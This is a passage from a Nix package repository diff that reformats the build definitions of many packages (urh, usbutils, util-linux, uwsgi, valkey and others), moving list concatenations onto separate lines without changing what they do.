+    lib.concatMapStrings (disc: ''
+      ln -s "${disc}" "uqm-$version/content/addons/${disc.name}"
+    '') remixPacks
+  )
+  + lib.optionalString use3DOVideos ''
+    ln -s "${videos}" "uqm-${version}/content/addons/3dovideo"
+  '';
 
   postPatch = ''
     # Using _STRINGS_H as include guard conflicts with glibc.
diff --git a/pkgs/by-name/ur/urh/package.nix b/pkgs/by-name/ur/urh/package.nix
index 41920b00b71b..1e356baad024 100644
--- a/pkgs/by-name/ur/urh/package.nix
+++ b/pkgs/by-name/ur/urh/package.nix
@@ -34,17 +34,16 @@ python3Packages.buildPythonApplication rec {
     wrapGAppsHook3
     copyDesktopItems
   ];
-  buildInputs =
-    [
-      hackrf
-      rtl-sdr
-      airspy
-      limesuite
-      libiio
-      libbladeRF
-    ]
-    ++ lib.optional USRPSupport uhd
-    ++ lib.optional stdenv.hostPlatform.isLinux qt5.qtwayland;
+  buildInputs = [
+    hackrf
+    rtl-sdr
+    airspy
+    limesuite
+    libiio
+    libbladeRF
+  ]
+  ++ lib.optional USRPSupport uhd
+  ++ lib.optional stdenv.hostPlatform.isLinux qt5.qtwayland;
 
   propagatedBuildInputs = with python3Packages; [
     pyqt5
diff --git a/pkgs/by-name/ur/uriparser/package.nix b/pkgs/by-name/ur/uriparser/package.nix
index 721ea8182dc6..5fb2dc5e6d0c 100644
--- a/pkgs/by-name/ur/uriparser/package.nix
+++ b/pkgs/by-name/ur/uriparser/package.nix
@@ -20,7 +20,8 @@ stdenv.mkDerivation rec {
 
   cmakeFlags = [
     "-DURIPARSER_BUILD_DOCS=OFF"
-  ] ++ lib.optional (!doCheck) "-DURIPARSER_BUILD_TESTS=OFF";
+  ]
+  ++ lib.optional (!doCheck) "-DURIPARSER_BUILD_TESTS=OFF";
 
   nativeCheckInputs = [ gtest ];
   doCheck = stdenv.buildPlatform.canExecute stdenv.hostPlatform;
diff --git a/pkgs/by-name/us/usbimager/package.nix b/pkgs/by-name/us/usbimager/package.nix
index 1095cdcaf3d2..04eb470bcefd 100644
--- a/pkgs/by-name/us/usbimager/package.nix
+++ b/pkgs/by-name/us/usbimager/package.nix
@@ -52,10 +52,11 @@ stdenv.mkDerivation rec {
 
   dontConfigure = true;
 
-  makeFlags =
-    [ "PREFIX=$(out)" ]
-    ++ lib.optional withLibui "USE_LIBUI=yes"
-    ++ lib.optional withUdisks "USE_UDISKS2=yes";
+  makeFlags = [
+    "PREFIX=$(out)"
+  ]
+  ++ lib.optional withLibui "USE_LIBUI=yes"
+  ++ lib.optional withUdisks "USE_UDISKS2=yes";
 
   meta = with lib; {
     description = "Very minimal GUI app that can write compressed disk images to USB drives";
diff --git a/pkgs/by-name/us/usbutils/package.nix b/pkgs/by-name/us/usbutils/package.nix
index 49a7d88925ea..41d14132a730 100644
--- a/pkgs/by-name/us/usbutils/package.nix
+++ b/pkgs/by-name/us/usbutils/package.nix
@@ -21,18 +21,17 @@ stdenv.mkDerivation rec {
     hash = "sha256-g/aLWbWFR1icACZugmcYZGJ1k6tDYtjIB/UO6pI8rZM=";
   };
 
-  patches =
-    [
-      (replaceVars ./fix-paths.patch {
-        inherit hwdata;
-      })
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (fetchpatch {
-        url = "https://raw.githubusercontent.com/Homebrew/formula-patches/24a6945778381a62ecdcc1d78bcc16b9f86778c1/usbutils/portable.patch";
-        hash = "sha256-spTkWURij4sPLoWtDaWVMIk81AS5W+qUUOQL1pAZEvs=";
-      })
-    ];
+  patches = [
+    (replaceVars ./fix-paths.patch {
+      inherit hwdata;
+    })
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (fetchpatch {
+      url = "https://raw.githubusercontent.com/Homebrew/formula-patches/24a6945778381a62ecdcc1d78bcc16b9f86778c1/usbutils/portable.patch";
+      hash = "sha256-spTkWURij4sPLoWtDaWVMIk81AS5W+qUUOQL1pAZEvs=";
+    })
+  ];
 
   nativeBuildInputs = [
     meson
@@ -44,14 +43,13 @@ stdenv.mkDerivation rec {
     python3
   ];
 
-  outputs =
-    [
-      "out"
-      "man"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "python" # uses sysfs
-    ];
+  outputs = [
+    "out"
+    "man"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "python" # uses sysfs
+  ];
 
   postInstall = lib.optionalString stdenv.hostPlatform.isLinux ''
     moveToOutput "bin/lsusb.py" "$python"
diff --git a/pkgs/by-name/us/ustreamer/package.nix b/pkgs/by-name/us/ustreamer/package.nix
index d6a3c866dfdf..7fd8bba30a71 100644
--- a/pkgs/by-name/us/ustreamer/package.nix
+++ b/pkgs/by-name/us/ustreamer/package.nix
@@ -30,44 +30,42 @@ stdenv.mkDerivation rec {
     hash = "sha256-SvvIY52FMO6Y4B6TOfk7dLtci4OayPX6+d8voKenKbQ=";
   };
 
-  buildInputs =
-    [
-      libbsd
-      libevent
-      libjpeg
-      libdrm
-    ]
-    ++ lib.optionals withSystemd [
-      systemdLibs
-    ]
-    ++ lib.optionals withJanus [
-      janus-gateway
-      glib
-      alsa-lib
-      jansson
-      speex
-      libopus
-    ];
+  buildInputs = [
+    libbsd
+    libevent
+    libjpeg
+    libdrm
+  ]
+  ++ lib.optionals withSystemd [
+    systemdLibs
+  ]
+  ++ lib.optionals withJanus [
+    janus-gateway
+    glib
+    alsa-lib
+    jansson
+    speex
+    libopus
+  ];
 
   nativeBuildInputs = [
     pkg-config
     which
   ];
 
-  makeFlags =
-    [
-      "PREFIX=${placeholder "out"}"
-      "WITH_V4P=1"
-    ]
-    ++ lib.optionals withSystemd [
-      "WITH_SYSTEMD=1"
-    ]
-    ++ lib.optionals withJanus [
-      "WITH_JANUS=1"
-      # Workaround issues with Janus C Headers
-      # https://github.com/pikvm/ustreamer/blob/793f24c4/docs/h264.md#fixing-janus-c-headers
-      "CFLAGS=-I${lib.getDev janus-gateway}/include/janus"
-    ];
+  makeFlags = [
+    "PREFIX=${placeholder "out"}"
+    "WITH_V4P=1"
+  ]
+  ++ lib.optionals withSystemd [
+    "WITH_SYSTEMD=1"
+  ]
+  ++ lib.optionals withJanus [
+    "WITH_JANUS=1"
+    # Workaround issues with Janus C Headers
+    # https://github.com/pikvm/ustreamer/blob/793f24c4/docs/h264.md#fixing-janus-c-headers
+    "CFLAGS=-I${lib.getDev janus-gateway}/include/janus"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ut/util-linux/package.nix b/pkgs/by-name/ut/util-linux/package.nix
index 92b7785d53f0..8260fba70462 100644
--- a/pkgs/by-name/ut/util-linux/package.nix
+++ b/pkgs/by-name/ut/util-linux/package.nix
@@ -43,101 +43,97 @@ stdenv.mkDerivation (finalPackage: rec {
     hash = "sha256-ge6Ts8/f6318QJDO3rode7zpFB/QtQG2hrP+R13cpMY=";
   };
 
-  patches =
-    [
-      ./rtcwake-search-PATH-for-shutdown.patch
-      # https://github.com/util-linux/util-linux/pull/3013
-      ./fix-darwin-build.patch
-      # https://github.com/util-linux/util-linux/pull/3479 (fixes https://github.com/util-linux/util-linux/issues/3474)
-      ./fix-mount-regression.patch
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
-      (fetchurl {
-        name = "bits-only-build-when-cpu_set_t-is-available.patch";
-        url = "https://lore.kernel.org/util-linux/20250501075806.88759-1-hi@alyssa.is/raw";
-        hash = "sha256-G7Cdv8636wJEjgt9am7PaDI8bpSF8sO9bFWEIiAL25A=";
-      })
-    ];
+  patches = [
+    ./rtcwake-search-PATH-for-shutdown.patch
+    # https://github.com/util-linux/util-linux/pull/3013
+    ./fix-darwin-build.patch
+    # https://github.com/util-linux/util-linux/pull/3479 (fixes https://github.com/util-linux/util-linux/issues/3474)
+    ./fix-mount-regression.patch
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
+    (fetchurl {
+      name = "bits-only-build-when-cpu_set_t-is-available.patch";
+      url = "https://lore.kernel.org/util-linux/20250501075806.88759-1-hi@alyssa.is/raw";
+      hash = "sha256-G7Cdv8636wJEjgt9am7PaDI8bpSF8sO9bFWEIiAL25A=";
+    })
+  ];
 
   # We separate some of the utilities into their own outputs. This
   # allows putting together smaller systems depending on only part of
   # the greater util-linux toolset.
   # Compatibility is maintained by symlinking the binaries from the
   # smaller outputs in the bin output.
-  outputs =
-    [
-      "bin"
-      "dev"
-      "out"
-      "lib"
-      "man"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ "mount" ]
-    ++ [ "login" ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ "swap" ];
+  outputs = [
+    "bin"
+    "dev"
+    "out"
+    "lib"
+    "man"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ "mount" ]
+  ++ [ "login" ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ "swap" ];
   separateDebugInfo = true;
 
-  postPatch =
-    ''
-      patchShebangs tests/run.sh tools/all_syscalls tools/all_errnos
+  postPatch = ''
+    patchShebangs tests/run.sh tools/all_syscalls tools/all_errnos
 
-      substituteInPlace sys-utils/eject.c \
-        --replace "/bin/umount" "$bin/bin/umount"
-    ''
-    + lib.optionalString shadowSupport ''
-      substituteInPlace include/pathnames.h \
-        --replace "/bin/login" "${shadow}/bin/login"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isFreeBSD ''
-      substituteInPlace lib/c_strtod.c --replace-fail __APPLE__ __FreeBSD__
-      sed -E -i -e '/_POSIX_C_SOURCE/d' -e '/_XOPEN_SOURCE/d' misc-utils/hardlink.c
-    '';
+    substituteInPlace sys-utils/eject.c \
+      --replace "/bin/umount" "$bin/bin/umount"
+  ''
+  + lib.optionalString shadowSupport ''
+    substituteInPlace include/pathnames.h \
+      --replace "/bin/login" "${shadow}/bin/login"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isFreeBSD ''
+    substituteInPlace lib/c_strtod.c --replace-fail __APPLE__ __FreeBSD__
+    sed -E -i -e '/_POSIX_C_SOURCE/d' -e '/_XOPEN_SOURCE/d' misc-utils/hardlink.c
+  '';
 
   # !!! It would be better to obtain the path to the mount helpers
   # (/sbin/mount.*) through an environment variable, but that's
   # somewhat risky because we have to consider that mount can setuid
   # root...
-  configureFlags =
-    [
-      "--localstatedir=/var"
-      "--disable-use-tty-group"
-      "--enable-fs-paths-default=/run/wrappers/bin:/run/current-system/sw/bin:/sbin"
-      "--disable-makeinstall-setuid"
-      "--disable-makeinstall-chown"
-      "--disable-su" # provided by shadow
-      (lib.enableFeature writeSupport "write")
-      (lib.enableFeature nlsSupport "nls")
-      (lib.withFeatureAs (cryptsetupSupport != false) "cryptsetup" (
-        if cryptsetupSupport == true then
-          "yes"
-        else if cryptsetupSupport == "dlopen" then
-          "dlopen"
-        else
-          throw "invalid cryptsetupSupport value: ${toString cryptsetupSupport}"
-      ))
-      (lib.withFeature ncursesSupport "ncursesw")
-      (lib.withFeature systemdSupport "systemd")
-      (lib.withFeatureAs systemdSupport "systemdsystemunitdir" "${placeholder "bin"}/lib/systemd/system/")
-      (lib.withFeatureAs systemdSupport "tmpfilesdir" "${placeholder "out"}/lib/tmpfiles.d")
-      (lib.withFeatureAs systemdSupport "sysusersdir" "${placeholder "out"}/lib/sysusers.d")
-      (lib.enableFeature translateManpages "poman")
-      "SYSCONFSTATICDIR=${placeholder "lib"}/lib"
-    ]
-    ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "scanf_cv_type_modifier=ms"
-    ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
-      # These features are all disabled in the freebsd-ports distribution
-      "--disable-nls"
-      "--disable-ipcrm"
-      "--disable-ipcs"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Doesn't build on Darwin, also doesn't really make sense on Darwin
-      "--disable-liblastlog2"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isStatic [
-      # Mandatory shared library.
-      "--disable-pam-lastlog2"
-    ];
+  configureFlags = [
+    "--localstatedir=/var"
+    "--disable-use-tty-group"
+    "--enable-fs-paths-default=/run/wrappers/bin:/run/current-system/sw/bin:/sbin"
+    "--disable-makeinstall-setuid"
+    "--disable-makeinstall-chown"
+    "--disable-su" # provided by shadow
+    (lib.enableFeature writeSupport "write")
+    (lib.enableFeature nlsSupport "nls")
+    (lib.withFeatureAs (cryptsetupSupport != false) "cryptsetup" (
+      if cryptsetupSupport == true then
+        "yes"
+      else if cryptsetupSupport == "dlopen" then
+        "dlopen"
+      else
+        throw "invalid cryptsetupSupport value: ${toString cryptsetupSupport}"
+    ))
+    (lib.withFeature ncursesSupport "ncursesw")
+    (lib.withFeature systemdSupport "systemd")
+    (lib.withFeatureAs systemdSupport "systemdsystemunitdir" "${placeholder "bin"}/lib/systemd/system/")
+    (lib.withFeatureAs systemdSupport "tmpfilesdir" "${placeholder "out"}/lib/tmpfiles.d")
+    (lib.withFeatureAs systemdSupport "sysusersdir" "${placeholder "out"}/lib/sysusers.d")
+    (lib.enableFeature translateManpages "poman")
+    "SYSCONFSTATICDIR=${placeholder "lib"}/lib"
+  ]
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "scanf_cv_type_modifier=ms"
+  ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
+    # These features are all disabled in the freebsd-ports distribution
+    "--disable-nls"
+    "--disable-ipcrm"
+    "--disable-ipcs"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Doesn't build on Darwin, also doesn't really make sense on Darwin
+    "--disable-liblastlog2"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [
+    # Mandatory shared library.
+    "--disable-pam-lastlog2"
+  ];
 
   makeFlags = [
     "usrbin_execdir=${placeholder "bin"}/bin"
@@ -145,29 +141,27 @@ stdenv.mkDerivation (finalPackage: rec {
     "usrsbin_execdir=${placeholder "bin"}/sbin"
   ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      installShellFiles
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
-      autoconf
-      automake116x
-    ]
-    ++ lib.optionals translateManpages [ po4a ]
-    ++ lib.optionals (cryptsetupSupport == "dlopen") [ cryptsetup ];
+  nativeBuildInputs = [
+    pkg-config
+    installShellFiles
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
+    autoconf
+    automake116x
+  ]
+  ++ lib.optionals translateManpages [ po4a ]
+  ++ lib.optionals (cryptsetupSupport == "dlopen") [ cryptsetup ];
 
-  buildInputs =
-    [
-      zlib
-      libxcrypt
-      sqlite
-    ]
-    ++ lib.optionals (cryptsetupSupport == true) [ cryptsetup ]
-    ++ lib.optionals pamSupport [ pam ]
-    ++ lib.optionals capabilitiesSupport [ libcap_ng ]
-    ++ lib.optionals ncursesSupport [ ncurses ]
-    ++ lib.optionals systemdSupport [ systemd ];
+  buildInputs = [
+    zlib
+    libxcrypt
+    sqlite
+  ]
+  ++ lib.optionals (cryptsetupSupport == true) [ cryptsetup ]
+  ++ lib.optionals pamSupport [ pam ]
+  ++ lib.optionals capabilitiesSupport [ libcap_ng ]
+  ++ lib.optionals ncursesSupport [ ncurses ]
+  ++ lib.optionals systemdSupport [ systemd ];
 
   doCheck = false; # "For development purpose only. Don't execute on production system!"
 
diff --git a/pkgs/by-name/uu/uutils-coreutils/package.nix b/pkgs/by-name/uu/uutils-coreutils/package.nix
index 1a43ed4ae530..155fbd8d9f55 100644
--- a/pkgs/by-name/uu/uutils-coreutils/package.nix
+++ b/pkgs/by-name/uu/uutils-coreutils/package.nix
@@ -34,15 +34,14 @@ stdenv.mkDerivation (finalAttrs: {
     python3Packages.sphinx
   ];
 
-  makeFlags =
-    [
-      "CARGO=${lib.getExe cargo}"
-      "PREFIX=${placeholder "out"}"
-      "PROFILE=release"
-      "INSTALLDIR_MAN=${placeholder "out"}/share/man/man1"
-    ]
-    ++ lib.optionals (prefix != null) [ "PROG_PREFIX=${prefix}" ]
-    ++ lib.optionals buildMulticallBinary [ "MULTICALL=y" ];
+  makeFlags = [
+    "CARGO=${lib.getExe cargo}"
+    "PREFIX=${placeholder "out"}"
+    "PROFILE=release"
+    "INSTALLDIR_MAN=${placeholder "out"}/share/man/man1"
+  ]
+  ++ lib.optionals (prefix != null) [ "PROG_PREFIX=${prefix}" ]
+  ++ lib.optionals buildMulticallBinary [ "MULTICALL=y" ];
 
   # too many impure/platform-dependent tests
   doCheck = false;
diff --git a/pkgs/by-name/uw/uwimap/package.nix b/pkgs/by-name/uw/uwimap/package.nix
index 7c2095f25959..71a8ce555bd1 100644
--- a/pkgs/by-name/uw/uwimap/package.nix
+++ b/pkgs/by-name/uw/uwimap/package.nix
@@ -21,7 +21,8 @@ stdenv.mkDerivation rec {
     "CC=${stdenv.cc.targetPrefix}cc"
     "RANLIB=${stdenv.cc.targetPrefix}ranlib"
     (if stdenv.hostPlatform.isDarwin then "osx" else "lnp") # Linux with PAM modules;
-  ] ++ lib.optional stdenv.hostPlatform.isx86_64 "EXTRACFLAGS=-fPIC"; # -fPIC is required to compile php with imap on x86_64 systems
+  ]
+  ++ lib.optional stdenv.hostPlatform.isx86_64 "EXTRACFLAGS=-fPIC"; # -fPIC is required to compile php with imap on x86_64 systems
 
   hardeningDisable = [ "format" ];
 
@@ -41,24 +42,23 @@ stdenv.mkDerivation rec {
     ./gcc-14-fix.diff
   ];
 
-  postPatch =
-    ''
-      sed -i src/osdep/unix/Makefile -e 's,/usr/local/ssl,${openssl.dev},'
-      sed -i src/osdep/unix/Makefile -e 's,^SSLCERTS=.*,SSLCERTS=/etc/ssl/certs,'
-      sed -i src/osdep/unix/Makefile -e 's,^SSLLIB=.*,SSLLIB=${lib.getLib openssl}/lib,'
-    ''
-    # utime takes a struct utimbuf rather than an array of time_t[2]
-    # convert time_t tp[2] to a struct utimbuf where
-    # tp[0] -> tp.actime and tp[1] -> tp.modtime, where actime and modtime are
-    # type time_t.
-    + ''
-      sed -i \
-        -e 's/time_t tp\[2]/struct utimbuf tp/' \
-        -e 's/\<tp\[0]/tp.actime/g' \
-        -e 's/\<tp\[1]/tp.modtime/g' \
-        -e 's/\(utime *([-a-z>]*\),tp)/\1,\&tp)/' \
-        src/osdep/unix/{mbx.c,mh.c,mmdf.c,mtx.c,mx.c,tenex.c,unix.c}
-    '';
+  postPatch = ''
+    sed -i src/osdep/unix/Makefile -e 's,/usr/local/ssl,${openssl.dev},'
+    sed -i src/osdep/unix/Makefile -e 's,^SSLCERTS=.*,SSLCERTS=/etc/ssl/certs,'
+    sed -i src/osdep/unix/Makefile -e 's,^SSLLIB=.*,SSLLIB=${lib.getLib openssl}/lib,'
+  ''
+  # utime takes a struct utimbuf rather than an array of time_t[2]
+  # convert time_t tp[2] to a struct utimbuf where
+  # tp[0] -> tp.actime and tp[1] -> tp.modtime, where actime and modtime are
+  # type time_t.
+  + ''
+    sed -i \
+      -e 's/time_t tp\[2]/struct utimbuf tp/' \
+      -e 's/\<tp\[0]/tp.actime/g' \
+      -e 's/\<tp\[1]/tp.modtime/g' \
+      -e 's/\(utime *([-a-z>]*\),tp)/\1,\&tp)/' \
+      src/osdep/unix/{mbx.c,mh.c,mmdf.c,mtx.c,mx.c,tenex.c,unix.c}
+  '';
 
   preConfigure = ''
     makeFlagsArray+=("ARRC=${stdenv.cc.targetPrefix}ar rc")
diff --git a/pkgs/by-name/uw/uwsgi/package.nix b/pkgs/by-name/uw/uwsgi/package.nix
index 6c1aeda8e297..3b150347f72f 100644
--- a/pkgs/by-name/uw/uwsgi/package.nix
+++ b/pkgs/by-name/uw/uwsgi/package.nix
@@ -61,7 +61,8 @@ let
         php-embed.extensions.session
         php-embed.extensions.session.dev
         php-embed.unwrapped.dev
-      ] ++ php-embed.unwrapped.buildInputs;
+      ]
+      ++ php-embed.unwrapped.buildInputs;
     })
   ];
 
@@ -100,20 +101,19 @@ stdenv.mkDerivation (finalAttrs: {
     python3
   ];
 
-  buildInputs =
-    [
-      jansson
-      pcre
-      libxcrypt
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      expat
-      zlib
-    ]
-    ++ lib.optional withPAM pam
-    ++ lib.optional withSystemd systemd
-    ++ lib.optional withCap libcap
-    ++ lib.concatMap (x: x.inputs) needed;
+  buildInputs = [
+    jansson
+    pcre
+    libxcrypt
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    expat
+    zlib
+  ]
+  ++ lib.optional withPAM pam
+  ++ lib.optional withSystemd systemd
+  ++ lib.optional withCap libcap
+  ++ lib.concatMap (x: x.inputs) needed;
 
   basePlugins = lib.concatStringsSep "," (
     lib.optional withPAM "pam" ++ lib.optional withSystemd "systemd_logger"
diff --git a/pkgs/by-name/uw/uwsm/package.nix b/pkgs/by-name/uw/uwsm/package.nix
index 89e3d31baa28..7594423eb06a 100644
--- a/pkgs/by-name/uw/uwsm/package.nix
+++ b/pkgs/by-name/uw/uwsm/package.nix
@@ -52,7 +52,8 @@ stdenv.mkDerivation (finalAttrs: {
     bash # sh
     systemd
     python
-  ] ++ lib.optionals uuctlSupport [ dmenu ];
+  ]
+  ++ lib.optionals uuctlSupport [ dmenu ];
 
   mesonFlags = [
     "--prefix=${placeholder "out"}"
diff --git a/pkgs/by-name/uw/uwufetch/package.nix b/pkgs/by-name/uw/uwufetch/package.nix
index 811c2378013f..efabc63e005a 100644
--- a/pkgs/by-name/uw/uwufetch/package.nix
+++ b/pkgs/by-name/uw/uwufetch/package.nix
@@ -17,23 +17,22 @@ stdenv.mkDerivation rec {
     hash = "sha256-cA8sajh+puswyKikr0Jp9ei+EpVkH+vhEp+pTerkUqA=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace uwufetch.c \
-        --replace "/usr/lib/uwufetch" "$out/lib/uwufetch" \
-        --replace "/usr/local/lib/uwufetch" "$out/lib/uwufetch" \
-        --replace "/etc/uwufetch/config" "$out/etc/uwufetch/config"
-      # fix command_path for package manager (nix-store)
-      substituteInPlace fetch.c \
-        --replace "/usr/bin" "/run/current-system/sw/bin"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace Makefile \
-        --replace "local/bin" "bin" \
-        --replace "local/lib" "lib" \
-        --replace "local/include" "include" \
-        --replace "local/share" "share"
-    '';
+  postPatch = ''
+    substituteInPlace uwufetch.c \
+      --replace "/usr/lib/uwufetch" "$out/lib/uwufetch" \
+      --replace "/usr/local/lib/uwufetch" "$out/lib/uwufetch" \
+      --replace "/etc/uwufetch/config" "$out/etc/uwufetch/config"
+    # fix command_path for package manager (nix-store)
+    substituteInPlace fetch.c \
+      --replace "/usr/bin" "/run/current-system/sw/bin"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace Makefile \
+      --replace "local/bin" "bin" \
+      --replace "local/lib" "lib" \
+      --replace "local/include" "include" \
+      --replace "local/share" "share"
+  '';
 
   nativeBuildInputs = [ makeWrapper ];
 
diff --git a/pkgs/by-name/va/vala-language-server/package.nix b/pkgs/by-name/va/vala-language-server/package.nix
index 87d67a44acf4..1f70fe70d26b 100644
--- a/pkgs/by-name/va/vala-language-server/package.nix
+++ b/pkgs/by-name/va/vala-language-server/package.nix
@@ -30,17 +30,16 @@ stdenv.mkDerivation rec {
     updateScript = nix-update-script { };
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      scdoc
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # GNOME Builder Plugin
-      gnome-builder
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    scdoc
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # GNOME Builder Plugin
+    gnome-builder
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/va/vale-ls/package.nix b/pkgs/by-name/va/vale-ls/package.nix
index 1643a90ce1b5..666a413d7a22 100644
--- a/pkgs/by-name/va/vale-ls/package.nix
+++ b/pkgs/by-name/va/vale-ls/package.nix
@@ -30,16 +30,15 @@ rustPlatform.buildRustPackage rec {
     openssl
   ];
 
-  checkFlags =
-    [
-      # The following tests are reaching to the network.
-      "--skip=vale::tests"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # This test does not account for the existence of aarch64-linux machines,
-      # despite upstream shipping artifacts for that architecture
-      "--skip=utils::tests::arch"
-    ];
+  checkFlags = [
+    # The following tests are reaching to the network.
+    "--skip=vale::tests"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # This test does not account for the existence of aarch64-linux machines,
+    # despite upstream shipping artifacts for that architecture
+    "--skip=utils::tests::arch"
+  ];
 
   env.OPENSSL_NO_VENDOR = true;
 
diff --git a/pkgs/by-name/va/vale/styles.nix b/pkgs/by-name/va/vale/styles.nix
index 72c9306f1bc1..5c2264809fdf 100644
--- a/pkgs/by-name/va/vale/styles.nix
+++ b/pkgs/by-name/va/vale/styles.nix
@@ -33,7 +33,8 @@ let
         meta = {
           platforms = lib.platforms.all;
           maintainers = with lib.maintainers; [ katexochen ];
-        } // (args.meta or { });
+        }
+        // (args.meta or { });
       }
       // removeAttrs args [
         "meta"
diff --git a/pkgs/by-name/va/valkey/package.nix b/pkgs/by-name/va/valkey/package.nix
index 56812f67f8bf..ad0e9d7756fb 100644
--- a/pkgs/by-name/va/valkey/package.nix
+++ b/pkgs/by-name/va/valkey/package.nix
@@ -39,15 +39,17 @@ stdenv.mkDerivation (finalAttrs: {
       url = "https://github.com/valkey-io/valkey/commit/73696bf6e2cf754acc3ec24eaf9ca6b879bfc5d7.patch?full_index=1";
       hash = "sha256-9yt2GXfC8piyLskkMkXouEX5ZQwZLtL+MN6n6HuC/V4=";
     })
-  ] ++ lib.optional useSystemJemalloc ./use_system_jemalloc.patch;
+  ]
+  ++ lib.optional useSystemJemalloc ./use_system_jemalloc.patch;
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [ lua ]
-    ++ lib.optional useSystemJemalloc jemalloc
-    ++ lib.optional withSystemd systemd
-    ++ lib.optional tlsSupport openssl;
+  buildInputs = [
+    lua
+  ]
+  ++ lib.optional useSystemJemalloc jemalloc
+  ++ lib.optional withSystemd systemd
+  ++ lib.optional tlsSupport openssl;
 
   strictDeps = true;
 
@@ -56,14 +58,15 @@ stdenv.mkDerivation (finalAttrs: {
   '';
 
   # More cross-compiling fixes.
-  makeFlags =
-    [ "PREFIX=${placeholder "out"}" ]
-    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-      "AR=${stdenv.cc.targetPrefix}ar"
-      "RANLIB=${stdenv.cc.targetPrefix}ranlib"
-    ]
-    ++ lib.optionals withSystemd [ "USE_SYSTEMD=yes" ]
-    ++ lib.optionals tlsSupport [ "BUILD_TLS=yes" ];
+  makeFlags = [
+    "PREFIX=${placeholder "out"}"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+    "AR=${stdenv.cc.targetPrefix}ar"
+    "RANLIB=${stdenv.cc.targetPrefix}ranlib"
+  ]
+  ++ lib.optionals withSystemd [ "USE_SYSTEMD=yes" ]
+  ++ lib.optionals tlsSupport [ "BUILD_TLS=yes" ];
 
   enableParallelBuilding = true;
 
@@ -77,7 +80,8 @@ stdenv.mkDerivation (finalAttrs: {
     which
     tcl
     ps
-  ] ++ lib.optionals stdenv.hostPlatform.isStatic [ getconf ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [ getconf ];
   checkPhase = ''
     runHook preCheck
 
diff --git a/pkgs/by-name/va/vamp-plugin-sdk/package.nix b/pkgs/by-name/va/vamp-plugin-sdk/package.nix
index 4b2646693a02..8ac7959d4669 100644
--- a/pkgs/by-name/va/vamp-plugin-sdk/package.nix
+++ b/pkgs/by-name/va/vamp-plugin-sdk/package.nix
@@ -28,7 +28,8 @@ stdenv.mkDerivation rec {
   makeFlags = [
     "AR:=$(AR)"
     "RANLIB:=$(RANLIB)"
-  ] ++ lib.optional (stdenv.buildPlatform != stdenv.hostPlatform) "-o test";
+  ]
+  ++ lib.optional (stdenv.buildPlatform != stdenv.hostPlatform) "-o test";
 
   meta = with lib; {
     description = "Audio processing plugin system for plugins that extract descriptive information from audio data";
diff --git a/pkgs/by-name/va/vanillatd/package.nix b/pkgs/by-name/va/vanillatd/package.nix
index 3864e687d3cf..eba5a0c6831b 100644
--- a/pkgs/by-name/va/vanillatd/package.nix
+++ b/pkgs/by-name/va/vanillatd/package.nix
@@ -51,19 +51,18 @@ stdenv.mkDerivation (finalAttrs: {
     openal
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      git
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      imagemagick
-      libicns
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      copyDesktopItems
-    ];
+  nativeBuildInputs = [
+    cmake
+    git
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    imagemagick
+    libicns
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    copyDesktopItems
+  ];
 
   cmakeFlags = [
     (lib.cmakeFeature "BUILD_VANILLATD" (if appName == "vanillatd" then "ON" else "OFF"))
diff --git a/pkgs/by-name/va/vapoursynth-eedi3/package.nix b/pkgs/by-name/va/vapoursynth-eedi3/package.nix
index 3a5f8b5de6a4..bb1fc9c53bae 100644
--- a/pkgs/by-name/va/vapoursynth-eedi3/package.nix
